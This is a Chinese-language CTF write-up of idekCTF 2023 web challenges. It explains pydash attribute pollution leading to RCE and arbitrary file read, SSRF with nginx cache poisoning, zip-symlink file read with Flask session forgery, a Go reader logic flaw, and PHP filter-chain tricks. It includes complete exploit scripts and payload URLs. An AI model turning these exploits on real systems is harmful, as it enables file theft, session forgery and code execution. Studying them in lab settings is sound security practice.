由于对xss不是很懂所以一般都是做的非xss部分,很高兴最终被强大的队友带飞下拿到第二名
环境环境可以在我的仓库下,备份了Dockerfile,可以本地搭建自己学习
https://github.com/Y4tacker/CTFBackup/tree/main/2023/IdekCTF
Task Manager一个python写的好看的TODO LIST
那么我们具体来看看如何实现,这里重点看,通过json传入task与status两个参数,不同参数条件进入不同分支,通过tasks对象实现了基本的功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @app.route("/api/manage_tasks" , methods=["POST" ] ) def manage_tasks (): task, status = request.json.get('task' ), request.json.get('status' ) try : if not task or type (task) != str : return {"message" : "You must provide a task name as a string!" }, 400 if len (task) > 150 : return {"message" : "Tasks may not be over 150 characters long!" }, 400 if status and len (status) > 50 : return {"message" : "Statuses may not be over 50 characters long!" }, 400 if not status: tasks.complete(task) return {"message" : "Task marked complete!" }, 200 if type (status) != str : return {"message" : "Your status must be a string!" }, 400 if tasks.set (task, status): return {"message" : "Task updated!" }, 200 return {"message" : "Invalid task name!" }, 400 except Exception as e: print (e) return {"message" : str (e)}, 200
那这个tasks对象又是个啥呢?如下2333,很明显给你提示了protected里面存在一些骚东西,看着是很像SSTI
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import pydashclass TaskManager : protected = ["set" , "get" , "get_all" , "__init__" , "complete" ] def __init__ (self ): self.set ("capture the flag" , "incomplete" ) def set (self, task, status ): if task in self.protected: return pydash.set_(self, task, status) return True def complete (self, task ): if task in self.protected: return pydash.set_(self, task, False ) return True def get (self, task ): if hasattr (self, task): return {task: getattr (self, task)} return {} def get_all (self ): return self.__dict__
同时我们再看看这个set_
方法,看doc它支持一些链式调用
但是也不是无敌的不像我们传统SSTI那样,它只能操作一些属性,而不能调用方法,同时他的操作对象是这个TaskManager
类,同时由于代码限制我们只能为其赋值为string类型,这种思想就有点类似js当中原型链污染的感觉了
同时我们再回到app.py
,如果app.env
值是yojo
,则会向全局模板函数中增加一个eval,通过add_template_global
以后我们就能在模板里使用{{eval(payload)}}
函数触发
1 2 3 4 @app.before_first_request def init (): if app.env == "yojo" : app.add_template_global(eval )
那么现在重点就是如何通过TaskManager
的实例对象获取到我们flask的app对象
有了这个一方面我们可以设置env,另一方面我们还可以控制before_first_request(毕竟这个只会在第一次加载时运行)
最终在python的debugger下通过点点点最终找到了这个app对象
其中_got_first_request
可以控制@app.before_first_request
的运行
非预期读文件看看Dockerfile里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 FROM python:3.8 .16 -slim-bullseyeRUN apt update && apt install -y xxd RUN python3 -m pip install flask pydash RUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt RUN useradd ctf USER ctfWORKDIR /app COPY . . ENTRYPOINT ["python3" , "app.py" ]
最后调用COPY . .
复制了所有的文件,看看文件结构这也就以为着把Dockerfile自身也复制进去了2333
姿势1可以看到这里有个_static_url_path
属性,这是啥目录大家都知道一些静态资源文件都放下面
那么如果我们设置app._static_folder
为 /
接着访问 /static/etc/passwd
1 {"task":"__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app._static_folder","status":"/"}
任意文件读
姿势2从app.py当中看
1 2 3 4 5 6 @app.route("/<path:path>" ) def render_page (path ): app._got_first_request = False if not os.path.exists("templates/" + path): return "not found" , 404 return render_template(path)
如果我们访问/../app.py
会怎么样呢,很显然报错了
我们可以看看flask的实现代码,在jinja2.loaders.FileSystemLoader.get_source
在这里首先通过split_template_path
处理路径
如果我们路径当中带有..
可以看到由于和os.path.pardir
相等,导致抛出TemplateNotFound
异常,也就是不允许跨目录
那如果我们污染了os.path.pardir
那么这里就通过了条件,不会拦截
成功实现了跨目录读
预期RCE同时这里还有一个jinja_env
属性我们可以看到很多有趣的属性比如auto_reload,这里还有识别模板的{%%}
以及{{}}
姿势1那么到了这里如果我们能找到一个py文件,这个py文件里面有eval
函数,那是不是我们就能成功rce了呢?这部分我和队友一直没找到,最后出题人提供了答案,在/usr/local/lib/python3.8/turtle.py
那么如果我们控制修改这个模板的标签,再配合污染os.path.pardir
,那么是不是就能渲染任意文件顺利RCE了呢
提供一个出题人的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requestsimport rebase_url = "http://localhost:1337" hijack_start = """'""']:\n value = """ hijack_end = "\n" payloads = { "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.env" : "yolo" , "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.globals.value" : "__import__('os').popen('cat /flag-*.txt').read()" , "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_start_string" : hijack_start, "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_end_string" : hijack_end, "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir" : "ZZZ" , "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app._got_first_request" : None , } def overwrite (attr, value ): data = {"task" : attr, "status" : value} requests.post(base_url + "/api/manage_tasks" , json=data) def get_flag (): url = base_url + "/../../usr/local/lib/python3.8/turtle.py" s = requests.Session() r = requests.Request(method='GET' , url=url) prep = r.prepare() prep.url = url r = s.send(prep) flag = re.findall('idek{.*}' , r.text)[0 ] print (flag) for k, v in payloads.items(): overwrite(k, v) get_flag()
姿势2学习自国外友人https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager
从编译入手很秀,在生成模板的过程中jinja2.compiler.CodeGenerator.visit_Template
如果我们污染了exported变量那么就可以控制模板的生成
正好是可以的
之后访问渲染任意模板的时候就能触发RCE,很厉害!
Proxy viewer比较有意思的题目,首先看看app.py中关键路由部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 app = Flask( __name__, static_url_path='/static' , static_folder='./static' , ) PREMIUM_TOKEN = os.urandom(32 ).hex () limiter = Limiter(app, key_func=get_remote_address) @app.after_request def add_headers (response ): response.cache_control.max_age = 120 return response @app.route('/' ) def index (): return render_template('index.html' ) @app.route('/proxy/<path:path>' ) @limiter.limit("10/minute" ) def proxy (path ): remote_addr = request.headers.get('X-Forwarded-For' ) or request.remote_addr is_authorized = request.headers.get('X-Premium-Token' ) == PREMIUM_TOKEN or remote_addr == "127.0.0.1" try : page = urlopen(path, timeout=.5 ) except : return render_template('proxy.html' , auth=is_authorized) if is_authorized: output = page.read().decode('latin-1' ) else : output = f"<pre>{page.headers.as_string()} </pre>" return render_template('proxy.html' , auth=is_authorized, content=output)
其中比较关键的是这个/proxy
路由,存在一个ssrf漏洞,但是必须is_authorized
为true
才会返回全部结果,否则只返回响应头
另一个关键的地方就是nginx的配置,可以看见如果以/static/开头那么就会缓存对应页面内容
同时可以看到对/开头的所有请求都会增加一个XFF头,因此对于上面的remote_addr我们无法进行伪造,因为nginx对此处理是追加ip,比如(XFF:127.0.0.1,readlip
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 events { worker_connections 1024 ; } http { include mime.types; proxy_cache_path /tmp/nginx keys_zone=my_zone:10m inactive=60m use_temp_path=off ; server { listen 1337 ; client_max_body_size 64M ; location / { proxy_set_header Host $http_host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://localhost:3000; } location ^~ /static/ { proxy_pass http://localhost:3000; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_cache my_zone; add_header X-Proxy-Cache $upstream_cache_status; } } }
这里还要用到一个trick就是,urlopen内部处理时会在urllib.request.Request.full_url
中去除#后面部分
1 2 3 4 5 6 7 8 9 10 11 12 13 @full_url.setter def full_url (self, url ): self._full_url = unwrap(url) self._full_url, self.fragment = _splittag(self._full_url) self._parse() def _splittag (url ): """splittag('/path#tag') --> '/path', 'tag'.""" path, delim, tag = url.rpartition('#' ) if delim: return path, tag return url, None
因此配合这个trick,我们先访问
1 http://127.0.0.1:1337/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/a
此时flask会把file%3a///flag.txt%2523/../../../static/a
整体当作
而nginx则会对url做normalize处理,最终导致nginx识别请求为http://127.0.0.1:1337/static/a
再访问即可触发缓存
1 http://127.0.0.1:1337/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/a
SimpleFileServer也是python的flask的题目
可以看到获得flag的条件,那就是成为admin,所以很容易猜测到考点是session伪造,而flask里面这个session的生成通常和变量app.config["SECRET_KEY"]
息息相关
1 2 3 4 5 @app.route("/flag" ) def flag (): if not session.get("admin" ): return "Unauthorized!" return subprocess.run("./flag" , shell=True , stdout=subprocess.PIPE).stdout.decode("utf-8" )
因此一切的前提是我们能获得这个SECRET_KEY
1 app.config["SECRET_KEY" ] = os.environ["SECRET_KEY" ]
而这部分生成在config.py当中
1 2 3 SECRET_OFFSET = 0 random.seed(round ((time.time() + SECRET_OFFSET) * 1000 )) os.environ["SECRET_KEY" ] = "" .join([hex (random.randint(0 , 15 )) for x in range (32 )]).replace("0x" , "" )
要爆破这部分很明显一是我们需要知道这个time.time()
的值,另一个还需要知道SECRET_OFFSET
的偏移
除开注册与登录路由,upoad支持上传一个zip文件并解压到指定目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @app.route("/upload" , methods=["GET" , "POST" ] ) def upload (): if not session.get("uid" ): return redirect("/login" ) if request.method == "GET" : return render_template("upload.html" ) if "file" not in request.files: flash("You didn't upload a file!" , "danger" ) return render_template("upload.html" ) file = request.files["file" ] uuidpath = str (uuid.uuid4()) filename = f"{DATA_DIR} uploadraw/{uuidpath} .zip" file.save(filename) subprocess.call(["unzip" , filename, "-d" , f"{DATA_DIR} uploads/{uuidpath} " ]) flash(f'Your unique ID is <a href="/uploads/{uuidpath} ">{uuidpath} </a>!' , "success" ) logger.info(f"User {session.get('uid' )} uploaded file {uuidpath} " ) return redirect("/upload" )
uploads/xxx路由支持我们之间读取上传解压后的文件内容
1 2 3 4 5 6 @app.route("/uploads/<path:path>" ) def uploads (path ): try : return send_from_directory(DATA_DIR + "uploads" , path) except PermissionError: abort(404 )
这个读文件部分按理说只能读取uploads下的文件,看看底层实现用的是safe_join不支持跨目录读取
可以看到在这里获取路径path后,最终调用open打开文件并返回内容
解决方法是可以配合symlink软连接实现任意文件读,这样我们一方面可以读config.py获取SECRET_OFFSET
另一方面为了得到时间
可以看到题目很良心的在server.log
当中输出了time
1 2 3 4 5 6 7 8 9 10 LOG_HANDLER = logging.FileHandler(DATA_DIR + 'server.log' ) LOG_HANDLER.setFormatter(logging.Formatter(fmt="[{levelname}] [{asctime}] {message}" , style='{' )) logger = logging.getLogger("application" ) logger.addHandler(LOG_HANDLER) logger.propagate = False for handler in logging.root.handlers[:]: logging.root.removeHandler(handler) logging.basicConfig(level=logging.WARNING, format ='%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s' ) logging.getLogger().addHandler(logging.StreamHandler())
不过这个时间不是精确的,通过转换为时间戳我们只能精确到整数部分,不过好在这里随机数的seed是配合round做了取整因此我们就能很容易实现爆破了
我们可以很方便配合这个信息得到time.time()的值
本地ln做一个symlink的文件
之后爆破到SECRET_KEY
后,修改admin为true再生成session即可
1 decoded = {'admin' : True , 'uid' : userinfo['username' ]}
最终exp,配合flask_unsign
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import base64import requests, re, time, datetime, randomimport flask_unsignsess = requests.session() SECRET_OFFSET = -67198624 * 1000 userinfo = {"username" : "yyds" , "password" : "yyds" } baseurl = "http://127.0.0.1:1337/" pocZip = "UEsDBAoAAAAAACJsMVZvT1MBDwAAAA8AAAAKABwAc2VydmVyLmxvZ1VUCQADDzPGYw8zxmN1eAsAAQT1AQAABBQAAAAvdG1wL3NlcnZlci5sb2dQSwMECgAAAAAAG2wxVuPo95IOAAAADgAAAAkAHABjb25maWcucHlVVAkAAwUzxmMFM8ZjdXgLAAEE9QEAAAQUAAAAL2FwcC9jb25maWcucHlQSwECHgMKAAAAAAAibDFWb09TAQ8AAAAPAAAACgAYAAAAAAAAAAAA7aEAAAAAc2VydmVyLmxvZ1VUBQADDzPGY3V4CwABBPUBAAAEFAAAAFBLAQIeAwoAAAAAABtsMVbj6PeSDgAAAA4AAAAJABgAAAAAAAAAAADtoVMAAABjb25maWcucHlVVAUAAwUzxmN1eAsAAQT1AQAABBQAAABQSwUGAAAAAAIAAgCfAAAApAAAAAAA" cookie = "" log_url = "" def register (): reg_url = baseurl + "register" sess.post(reg_url, userinfo) def login (): global cookie set_cookie = sess.post(baseurl + "login" , data=userinfo, allow_redirects=False ).headers['Set-Cookie' ] cookie = set_cookie[8 :82 ] def upload (): global log_url log_url = re.search('<a href="/uploads/.*">' , sess.post( baseurl + "upload" , headers={'Cookie' : f'session={cookie} ' }, files={'file' : base64.b64decode(pocZip)}).text).group()[9 :-2 ] def read (): server_log = baseurl + log_url + "/server.log" config = baseurl + log_url + "/config.py" SECRET_OFFSET = int (re.findall("SECRET_OFFSET = (.*?) # REDACTED" , sess.get(config).text)[0 ]) * 1000 log = sess.get(server_log).text now = (time.mktime(datetime.datetime.strptime(log.split('\n' )[0 ][1 :20 ], "%Y-%m-%d %H:%M:%S" ).timetuple())) * 1000 return SECRET_OFFSET,now if __name__ == '__main__' : register() login() upload() SECRET_OFFSET, now = read() while 1 : decoded = {'admin' : True , 'uid' : userinfo['username' ]} random.seed(round (now + int (SECRET_OFFSET))) SECRET_KEY = "" .join([hex (random.randint(0 , 15 )) for x in range (32 )]).replace("0x" , "" ) flag_url = baseurl + "flag" res = sess.get(flag_url, headers={'Cookie' : f'session={flask_unsign.sign(decoded, SECRET_KEY)} ' }).text if "idek" not in res: now += 1 print (now) continue print (res) break
ReadMe很简单签到题,算是个逻辑漏洞问题
这个程序中只有一个路由
1 http.HandleFunc("/just-read-it" , justReadIt)
首先简单看一下可以得出程序逻辑如果能成功走到justReadIt函数最下方就能获得flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 func justReadIt (w http.ResponseWriter, r *http.Request) { defer r.Body.Close() body, err := ioutil.ReadAll(r.Body) if err != nil { w.WriteHeader(500 ) w.Write([]byte ("bad request\n" )) return } reqData := ReadOrderReq{} if err := json.Unmarshal(body, &reqData); err != nil { w.WriteHeader(500 ) w.Write([]byte ("invalid body\n" )) return } if len (reqData.Orders) > MaxOrders { w.WriteHeader(500 ) w.Write([]byte ("whoa there, max 10 orders!\n" )) return } reader := bytes.NewReader(randomData) validator := NewValidator() ctx := context.Background() for _, o := range reqData.Orders { if err := validator.CheckReadOrder(o); err != nil { w.WriteHeader(500 ) w.Write([]byte (fmt.Sprintf("error: %v\n" , err))) return } ctx = WithValidatorCtx(ctx, reader, int (o)) _, err := validator.Read(ctx) if err != nil { w.WriteHeader(500 ) w.Write([]byte (fmt.Sprintf("failed to read: %v\n" , err))) return } } if err := validator.Validate(ctx); err != nil { w.WriteHeader(500 ) w.Write([]byte (fmt.Sprintf("validation failed: %v\n" , err))) return } w.WriteHeader(200 ) w.Write([]byte (os.Getenv("FLAG" ))) }
我们一点一点来看,首先是接受了一个传来的json数据,解析保存到reqData当中,从下面可以看出只接收一个完全由数字组成的int数组,字段名叫orders
1 2 3 type ReadOrderReq struct { Orders []int `json:"orders"` }
之后会用randomData初始化一个reader
1 reader := bytes.NewReader(randomData)
而这个randomData则是由initRandomData函数初始化,记住这个password复制在了12625之后
1 2 3 4 5 6 7 8 func initRandomData () { rand.Seed(1337 ) randomData = make ([]byte , 24576 ) if _, err := rand.Read(randomData); err != nil { panic (err) } copy (randomData[12625 :], password[:]) }
初始化之后会遍历reqData.Orders
调用CheckReadOrder
检查oders中的int值范围是否在0-100
1 2 3 4 5 6 func (v *Validator) CheckReadOrder (o int ) error { if o <= 0 || o > 100 { return fmt.Errorf("invalid order %v" , o) } return nil }
之后根据数值读出指定位数的值
1 2 ctx = WithValidatorCtx(ctx, reader, int (o)) _, err := validator.Read(ctx)
再往下就是最关键的地方,如果这里的validate校验过了才能拿到flag
1 2 3 4 5 6 7 8 if err := validator.Validate(ctx); err != nil { w.WriteHeader(500 ) w.Write([]byte (fmt.Sprintf("validation failed: %v\n" , err))) return } w.WriteHeader(200 ) w.Write([]byte (os.Getenv("FLAG" )))
这个函数功能就是读32位,之后与password比较,成功返回true,而我们前面说过这个password复制在了12625之后,并且oders数组容量最多只能有10个数字
1 2 3 4 5 6 7 8 9 10 11 func (v *Validator) Validate (ctx context.Context) error { r, _ := GetValidatorCtxData(ctx) buf, err := v.Read(WithValidatorCtx(ctx, r, 32 )) if err != nil { return err } if bytes.Compare(buf, password[:]) != 0 { return errors.New("invalid password" ) } return nil }
就算全取最大100,10个也才1000,距离我们的12625还差很远
再往前看发现read之前
1 2 3 4 5 6 7 8 9 func (v *Validator) Read (ctx context.Context) ([]byte , error) { r, s := GetValidatorCtxData(ctx) buf := make ([]byte , s) _, err := r.Read(buf) if err != nil { return nil , fmt.Errorf("read error: %v" , err) } return buf, nil }
有这样一个调用,如果size大于等于100会调用一个bufio.NewReader
1 2 3 4 5 6 7 8 func GetValidatorCtxData (ctx context.Context) (io.Reader, int ) { reader := ctx.Value(reqValReaderKey).(io.Reader) size := ctx.Value(reqValSizeKey).(int ) if size >= 100 { reader = bufio.NewReader(reader) } return reader, size }
这个defaultBufSize是4096
1 2 3 4 func NewReader (rd io.Reader) *Reader { return NewReaderSize(rd, defaultBufSize) }
最终
Paywall想看原理的移步陆队之前写的,我是脚本小子
https://tttang.com/archive/1395/#toc_iconv-filter-chain
本题是用php实现的一个blog系统,除开样式读取核心代码非常简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting(0 ); set_include_path('articles/' ); if (isset ($_GET ['p' ])) { $article_content = file_get_contents($_GET ['p' ], 1 ); if (strpos($article_content , 'PREMIUM' ) === 0 ) { die ('Thank you for your interest in The idek Times, but this article is only for premium users!' ); } else if (strpos($article_content , 'FREE' ) === 0 ) { echo "<article>$article_content </article>" ; die (); } else { die ('nothing here' ); } } ?>
可以看到,对于文章内容前是PREMIUM
的不能读取,FREE
的则可以读
很可惜我们的flag文件恰好前面也是PREMIUM
,那么要想读取这个文件很显然我们可以配合php的filter构造出FREE四个字母也就可以实现读取了
下面是工具
https://github.com/synacktiv/php_filter_chain_generator
https://github.com/WAY29/php_filter_chain_generator
发现直接生成出来的虽然有FREE,但是都无法看了
1 FREE�B�5$TԕT���FV��F�F��U�E�7V'65##�u�C��W%��7w5�W"����>==�@C������>==�@
然而发现把每个环节的convert.iconv.UTF8.UTF7
去掉
就可以变成明文了,脚本小子表示很神奇,最后为了不丢失符号(毕竟Base64字符里面没有一些特殊符号!{}!
之类的),因此第一步事先base64enccode一下
最终得到payload
1 http://127.0.0.1/?p=php://filter/convert.base64-encode|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode/resource=flag
但是根据这样构造本地发现会少最后三个字符,除开}符号还剩两个
看看题目描述可以猜出最后俩字符,Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPPaper,最后一个字母肯定是个符号所以是!
1 idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}
当然最后发现工具也可以直接用,注意后面有俩空格
1 python php_filter_chain_generator.py --chain 'FREE '
得到
1 php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag
本脚本小子觉得很有意思就是了